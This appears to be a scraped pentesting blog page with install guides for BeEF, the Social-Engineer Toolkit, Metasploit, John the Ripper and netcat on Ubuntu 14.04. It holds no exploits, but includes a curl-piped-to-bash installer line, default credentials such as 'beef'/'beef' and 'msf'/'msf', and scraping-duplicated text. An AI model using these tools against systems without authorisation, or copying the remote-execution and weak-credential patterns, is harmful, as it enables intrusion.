Update/Upgrade
Reference
Videos
See also : Metasploit Framework
That's all! See you.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Install
sudo apt-get install git curl git libsqlite3-dev sqlite3 imagemagick ghostscriptInstall Ruby :
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
curl -sSL https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
source ~/.bashrc
rvm install 2.1.5
ruby -vInstall BeEF :
cd ~
mkdir arsenal
cd arsenal
git clone git://github.com/beefproject/beef.git
cd beef
rvm use ruby-2.1.5@beef --create
gem install bundler
bundle install
./beefOpen browser at go to
http://127.0.0.1:3000/ui/panel* username is "beef" while password is "beef".
* BeEF is default using Ruby 2.1.5.
Update/Upgrade
cd ~/arsenal/beef
git pull origin master
bundle install
./update-beefReference
Videos
See also : Metasploit Framework
That's all! See you.
Labels:
BeEF,
Ubuntu,
Web Pentesting
HOWTO : SET on Ubuntu 14.04 LTS
The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. It is an open-source Python-driven tool aimed at penetration testing around Social-Engineering. SET has been presented at large-scale conferences including Blackhat, DerbyCon, Defcon, and ShmooCon. With over two million downloads, SET is the standard for social-engineering penetration tests and supported heavily within the security community.
Install
Edit the Metasploit path :
* Please replace your path
To run it :
Update/Upgrade
Reference
See also : Metasploit Framework
That's all! See you.
Install
sudo apt-get install git python-impacket
cd ~
mkdir arsenal
cd arsenal
git clone https://github.com/trustedsec/social-engineer-toolkit.git
cd social-engineer-toolkitsudo python setup.py installEdit the Metasploit path :
nano /etc/setoolkit/set.config
METASPLOIT_PATH=/home/samiux/arsenal/metasploit-framework* Please replace your path
To run it :
sudo setoolkitUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgrade
sudo seupdateReference
See also : Metasploit Framework
That's all! See you.
Labels:
SET,
Ubuntu,
Web Pentesting
HOWTO : Metasploit Framework on Ubuntu 14.04 LTS
Metasploit is an exploitation framework.
Install
* Metasploit Framework use ruby 2.1.6 by default
Install NMap :
* Install NMap if you do not have it installed; otherwise, skip it.
Configure PostgreSQL :
* enter "msf" as password
Install Metasploit Framework :
Configure Metasploit :
* please rename the /home/samiux to your name.
To run it :
Update/Ugrade
Reference
See also : NMap
That's all! See you.
Install
sudo apt-get install git build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev default-jre git autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev xtightvncviewer libyaml-dev curl zlib1g-dev libffi-dev libgmp-dev
cd ~
mkdir arsenal
cd arsenal
Install Ruby :
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
curl -sSL https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
source ~/.bashrc
rvm install 2.1.6
rvm use 2.1.6 --default
ruby -v* Metasploit Framework use ruby 2.1.6 by default
Install NMap :
* Install NMap if you do not have it installed; otherwise, skip it.
cd ~/arsenal
git clone https://github.com/nmap/nmap.git
cd nmap
./configure
make
sudo make installConfigure PostgreSQL :
sudo -s
su postgres
createuser msf -P -S -R -D* enter "msf" as password
createdb -O msf msf
exit
exitInstall Metasploit Framework :
cd ~/arsenal
git clone https://github.com/rapid7/metasploit-framework.git
cd metaploit-framework
rvm --default use ruby-2.1.6@metasploit-framework --create
gem install bundler
bundle installConfigure Metasploit :
cp ~/arsenal/metasploit-framework/config/database.yml.example ~/arsenal/metasploit-framework/config/database.yml
nano ~/arsenal/metasploit-framework/config/database.yml
development: &pgsql
adapter: postgresql
database: msf
username: msf
password: msf
host: localhost
port: 5432
pool: 75
timeout: 5
sudo sh -c "echo export MSF_DATABASE_CONFIG=/home/samiux/arsenal/metasploit-framework/config/database.yml >> /etc/profile"
source /etc/profile* please rename the /home/samiux to your name.
To run it :
cd ~/arsenal
cd metasploit-framework
sudo service postgresql start
msfconsole
sudo service postgresql stopUpdate/Ugrade
sudo apt-get update
sudo apt-get dist-upgrade
cd ~/arsenal/metasploit-framework
git pull origin master
msfupdateReference
See also : NMap
That's all! See you.
Labels:
Metasploit,
Ubuntu,
Web Pentesting
Saturday, August 22, 2015
HOWTO : John on Ubuntu 14.04 LTS
John the Ripper is a fast password cracker, currently available for many flavors of Unix, Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix systems, supported out of the box are Windows LM hashes, plus lots of other hashes and ciphers in the community-enhanced version.
Install
* you can also install by
Update/Upgrade
Go to Official site to download the source and compile it as mentioned above.
Reference
Please install Nvidia or AMD Graphic related drivers before installing John when necessary.
That's all! See you.
Install
sudo apt-get install build-essential libssl-dev
cd ~
mkdir arsenal
cd arsenal
wget http://www.openwall.com/john/j/john-1.8.0-jumbo-1.tar.gz
tar -xvzf john-1.8.0-jumbo-1.tar.gz
cd john-1.8.0-jumbo-1/src
./configure
make clean
make
cd ../run
./john --help* you can also install by
sudo apt-get install john john-dataUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgradeGo to Official site to download the source and compile it as mentioned above.
Reference
Please install Nvidia or AMD Graphic related drivers before installing John when necessary.
That's all! See you.
Labels:
John,
Ubuntu,
Web Pentesting
HOWTO : NetCat on Ubuntu 14.04 LTS
Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol.
It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or "nc" as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.
Install
select
Update/Upgrade
Reference
Nil
That's all! See you.
It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities. Netcat, or "nc" as the actual program is named, should have been supplied long ago as another one of those cryptic but standard Unix tools.
Install
sudo apt-get install netcat-traditional
sudo update-alternatives --config ncselect
/bin/nc.traditional by entering "2"nc -hUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgradeReference
Nil
That's all! See you.
Labels:
Netcat,
Ubuntu,
Web Pentesting
Subscribe to:
Posts (Atom)
